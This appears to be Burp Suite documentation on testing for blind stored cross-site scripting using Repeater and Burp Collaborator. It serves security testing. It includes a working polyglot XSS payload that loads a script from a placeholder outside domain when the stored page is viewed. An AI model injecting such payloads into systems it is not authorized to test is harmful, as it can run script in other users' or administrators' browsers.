Testing for blind XSS

  • Last updated: September 14, 2023

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Blind cross-site scripting (XSS) is a type of stored XSS in which the data exit point is not accessible to the attacker, for example due to a lack of privileges.

To test for blind XSS vulnerabilities, you can use Burp Suite to inject an XSS payload that may trigger an out-of-band interaction with the Burp Collaborator server. Burp monitors the Collaborator server to identify whether an out-of-band interaction occurs. This indicates that the attack was successful.


To test for blind XSS with Burp Suite:

  1. Right-click the request you want to investigate and select Send to Repeater.
  2. In the Repeater tab, change a parameter's value to a proof-of-concept payload. As you don't know which characters may be filtered or encoded, use a payload that works in most contexts, such as: </script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source), s.stack=Error().stack, s.src=(/,/+/yourcollaboratordomain/).slice(2), document.documentElement.appendChild(s))//'>
  3. Right-click the appropriate place in the proof-of-concept payload to insert a Collaborator domain and select Insert Collaborator payload. For example, replace yourcollaboratordomain with the Collaborator domain.
  4. Click Send.

The command may be executed after a delay, for example when an administrator eventually views the page that contains the stored payload. The Collaborator tab flashes when an interaction occurs. You should return to the project file and check the Collaborator tab to identify any delayed interactions.

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